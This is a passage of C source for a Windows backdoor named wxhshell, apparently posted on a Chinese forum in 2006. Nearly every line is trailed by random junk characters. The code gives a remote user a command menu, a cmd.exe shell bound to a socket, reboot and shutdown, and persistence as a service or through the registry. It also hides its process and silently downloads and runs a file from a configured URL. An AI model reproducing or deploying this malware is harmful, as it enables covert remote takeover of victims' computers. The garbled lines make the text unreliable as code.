  } K*HCFqr U"  
  else { x)j/  
I$+%~4  
    switch(cmd[0]) { ax<g0=^R  
  LE8K)i  
  // 帮助 w~4 z@/^"p  
  case '?': { S|~i>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); yQ8M >H#J  
    break; ;&If9O 1  
  } :-w@^mli  
  // 安装 #m[vn^8B]y  
  case 'i': { @55bE\E?@  
    if(Install()) ^I@ey*$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `E{;85bDH  
    else ~l(G6/R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |^Y*~d<H  
    break; &aY/eD  
    } 5woIGO3X  
  // 卸载 TG4\%S$w  
  case 'r': {   YfTd  
    if(Uninstall()) B{;11 u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mgo'MW\   
    else hK:#+hg,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]#vWKNv:;  
    break; Q.r B\8ea  
    } tceIA8d6  
  // 显示 wxhshell 所在路径 FTbT9   
  case 'p': { I%pCm||p  
    char svExeFile[MAX_PATH]; / c +,  
    strcpy(svExeFile,"\n\r"); N{ : [/  
      strcat(svExeFile,ExeFile); +]A+!8%Z  
        send(wsh,svExeFile,strlen(svExeFile),0); iPA@<D%  
    break; -zPm{a  
    } Dm>T"4B`/  
  // 重启 o~Bk0V=  
  case 'b': { zA2UFax=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 01&*`0?  
    if(Boot(REBOOT)) iSOD&J_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;n3uV`\  
    else { sXSj OUI  
    closesocket(wsh); [Xs}FJ  
    ExitThread(0); 7J0 ^N7"o  
    } !8wZw68"  
    break; +A'}PXm*tu  
    } dD[v=Z_  
  // 关机 !}iL O0  
  case 'd': { ;X+G6F'  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <FXQxM5"  
    if(Boot(SHUTDOWN)) HT{F$27W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6>@(/mh*  
    else { } 9MW! Ss  
    closesocket(wsh); Z|]l"W*w  
    ExitThread(0); UeMnc 5y  
    } # rh0r`  
    break; '}wG"0  
    } (jp1; #P!  
  // 获取shell xnl<<}4pJ  
  case 's': { {;]uL`abi?  
    CmdShell(wsh); :`{9x%o;  
    closesocket(wsh); B$K7L'e+-  
    ExitThread(0); p5lR-G  
    break; ;e&hM\p  
  } Q'FX:[@x-S  
  // 退出 DH}s1mNMP  
  case 'x': { =_#ye}E  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); OwNAN  
    CloseIt(wsh); #gxRTx  
    break; )v*v  
    } Ln"+nKr  
  // 离开 0-8ELX[#  
  case 'q': { ~*66 3pA  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |usnY  
    closesocket(wsh); @)aXNQY  
    WSACleanup(); (Q}PeKM?jq  
    exit(1); H=JP3ID>{  
    break; 0!3!?E <  
        } Da9*/  
  } <wIp$F.  
  } 6LSPPMM  
F!z! :yp  
  // 提示信息 2jI4V;H8g  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5O;/ lX!u  
} d+gk q\  
  } yrxx+z|wR  
0hH Iz4(  
  return; m _t(rn~f6  
} |_Naun=+~  
o'x_g^ Y  
// shell模块句柄 nr 'YWW  
int CmdShell(SOCKET sock) |YG)NO  
{ "wc`fg"3  
STARTUPINFO si; [15hci+-  
ZeroMemory(&si,sizeof(si)); &*V0(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; UiGUaBmF*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~G|{q VO7A  
PROCESS_INFORMATION ProcessInfo; >#${.+y  
char cmdline[]="cmd"; w]]x[D]L  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); sqq/b9 uL/  
  return 0; &(z8GYBr  
} x9XGCr  
hq|j C  
// 自身启动模式 j8D$/  
int StartFromService(void) u;l6sdo  
{ Apw-7*/  
typedef struct 18[?dV  
{ dK=D=5r,  
  DWORD ExitStatus; 0C9QAJa  
  DWORD PebBaseAddress; i9#`F.7F  
  DWORD AffinityMask; dpc=yXg>"c  
  DWORD BasePriority; BDB zc5Q(  
  ULONG UniqueProcessId; uK"$=v6|  
  ULONG InheritedFromUniqueProcessId; ie$fMBIq  
}   PROCESS_BASIC_INFORMATION; ;X9MA=b  
MJ*oeI!.=  
PROCNTQSIP NtQueryInformationProcess; n@ yd{Rc  
9M-NItFos  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Y(Z(dV!Po  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; rRA_'t;uK  
nU">> 1!U  
  HANDLE             hProcess; d-A%ZAkE]  
  PROCESS_BASIC_INFORMATION pbi; >mGGJvTx  
`Tm8TZd66  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); tyG nG0GK  
  if(NULL == hInst ) return 0; ^{6UAT~!R  
l*m]2"n]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~gzpX,{ n  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); hj#+8=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); H)?" 8 s  
]0/~6f  
  if (!NtQueryInformationProcess) return 0; V, "AG  
\fQgiX  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1W6n[Xg  
  if(!hProcess) return 0; &H p\("  
sDh6 Uk  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; v J,xz*rc`  
J&] XLr.j  
  CloseHandle(hProcess); ['9OGV\  
=t>`< T|(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ZRVF{D??"%  
if(hProcess==NULL) return 0; -*]9Ma<wa  
[{.\UkV@  
HMODULE hMod; `5~o=g  
char procName[255]; 8Vg`;_-  
unsigned long cbNeeded; OU Yb-  
;j Y'z5PH5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); wtgO;w  
\`<s@U  
  CloseHandle(hProcess); Liz 6ob  
8xGkh?%  
if(strstr(procName,"services")) return 1; // 以服务启动 TTw~.x,  
 }@Ll!,  
  return 0; // 注册表启动 A.'`FtV  
} 1{uDHB  
JY,l#?lM{  
// 主模块 ,R9f;BR  
int StartWxhshell(LPSTR lpCmdLine) Nr*ibtz|D  
{ y&O_Jyg<  
  SOCKET wsl; zs]>XO~Jg  
BOOL val=TRUE; 0UAr}H.:  
  int port=0; ph|2lLZ  
  struct sockaddr_in door; 5xn0U5U  
/[)P^L`  
  if(wscfg.ws_autoins) Install(); #ui%=ja[:~  
jWb\"0)  
port=atoi(lpCmdLine); %/,Uk+3p  
4VL!U?dk  
if(port<=0) port=wscfg.ws_port; Se]t;7j  
a!6OE"?QQ  
  WSADATA data; iz|9a|k6x  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <pa];k(IQL  
*^$N $t/2  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   e715)_HD  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 66y,{t  
  door.sin_family = AF_INET; W} +6L|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); oY#XWe8Om  
  door.sin_port = htons(port); IEKX'+t'  
t+Tg@~K2[>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { u[% J#S  
closesocket(wsl); ?[|4QzR  
return 1; MrygEC 5  
} p44uozbK  
@0x.n\M_  
  if(listen(wsl,2) == INVALID_SOCKET) { tGy%n[ \  
closesocket(wsl); cqU/Y_%l'  
return 1; Dqo:X`<bT  
} qi5>GX^t]b  
  Wxhshell(wsl); g_U*_5doA  
  WSACleanup(); ]8j5Ou6#y  
w}KcLaI  
return 0; z%-"' Y]  
1PjX:]:  
} p`V9+CA  
j?` D\LZhf  
// 以NT服务方式启动 ?9.?w-Q'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *{n,4d\..  
{ fJN9+l  
DWORD   status = 0; :~YyHX  
  DWORD   specificError = 0xfffffff; ZI:d&~1i1  
TbUkqABm  
  serviceStatus.dwServiceType     = SERVICE_WIN32; S>zKD  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; jC }u>AB  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; iegPEb  
  serviceStatus.dwWin32ExitCode     = 0; U},W/g-  
  serviceStatus.dwServiceSpecificExitCode = 0; C3`.-/{D"  
  serviceStatus.dwCheckPoint       = 0; o~z.7q  
  serviceStatus.dwWaitHint       = 0; '{_tDboY  
gQzF C&g  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); IaZAP  
  if (hServiceStatusHandle==0) return; G}OrpPP  
6/[h24d  
status = GetLastError(); mgl' d  
  if (status!=NO_ERROR) 'k) P(H  
{ HrcnyQ`Q0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; l~ >rpG  
    serviceStatus.dwCheckPoint       = 0; oFA$X Y  
    serviceStatus.dwWaitHint       = 0; X=7vUb,\gB  
    serviceStatus.dwWin32ExitCode     = status; ,PtR^" Mf4  
    serviceStatus.dwServiceSpecificExitCode = specificError; Czl 8Q oH  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (IWd?,H,n  
    return; e @MCumc~+  
  } $7ME a"a  
%-zH]"Q$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =>TtX@Q{  
  serviceStatus.dwCheckPoint       = 0; H  "/e%  
  serviceStatus.dwWaitHint       = 0; w@D@,q'x  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >}`1'su  
} '3 ,JL!  
A7}|VV  
// 处理NT服务事件,比如:启动、停止 `>HthK  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _!T$|,a  
{ p5 PON0dS  
switch(fdwControl) lJpv  
{ }LVE^6zyk  
case SERVICE_CONTROL_STOP: WxI]Fcb<  
  serviceStatus.dwWin32ExitCode = 0; 60gn`s,,  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; mTu9'/$(  
  serviceStatus.dwCheckPoint   = 0; 2+rao2  
  serviceStatus.dwWaitHint     = 0; "alO"x8t  
  { Jrrk$0H^~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); VY26 Cf"  
  } HCCp<2D"C  
  return; A.*nDl`H  
case SERVICE_CONTROL_PAUSE: Hqy>!1 !  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; EG=>F1&M  
  break; ;5S7_p2]j  
case SERVICE_CONTROL_CONTINUE: SVeU7Q6-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; = ft$j  
  break; w4/)r-Z4I  
case SERVICE_CONTROL_INTERROGATE: T{kwy3  
  break; %Y[/Ucdm  
}; DD3yl\#,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )%W2XvG  
} 8U$UI  
~w% +y  
// 标准应用程序主函数 w9}IM149  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) W..>Ny;'3  
{ 3m9 E2R,  
B}bNl 7 ~  
// 获取操作系统版本 }Qu 7o  
OsIsNt=GetOsVer(); k3eN;3#&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); zm.sX~j  
/ S^m!{  
  // 从命令行安装 '4S@:.D`  
  if(strpbrk(lpCmdLine,"iI")) Install(); JVYYwA^ .  
"K=)J'/n  
  // 下载执行文件 bpCe&*\6K  
if(wscfg.ws_downexe) { rW .0_*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6:X\vw  
  WinExec(wscfg.ws_filenam,SW_HIDE); l"g%vS,;`  
} ;qQzF  
 D -EM  
if(!OsIsNt) { *)sz]g|d  
// 如果时win9x,隐藏进程并且设置为注册表启动 eesLTy D2_  
HideProc(); (8/xSOZ[  
StartWxhshell(lpCmdLine); -i gZU>0B_  
} uZI:Kt#  
else tG&B D\  
  if(StartFromService()) >sY+Y22U  
  // 以服务方式启动 6<O]_HZ&  
  StartServiceCtrlDispatcher(DispatchTable); %-1-J<<J q  
else $VNn`0^gF  
  // 普通方式启动 v Cr$miZ  
  StartWxhshell(lpCmdLine); *38\&"s4_  
;\0RXirk  
return 0; IKj1{nZvDc  
}
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只看该作者 1 发表于: 2006-10-10
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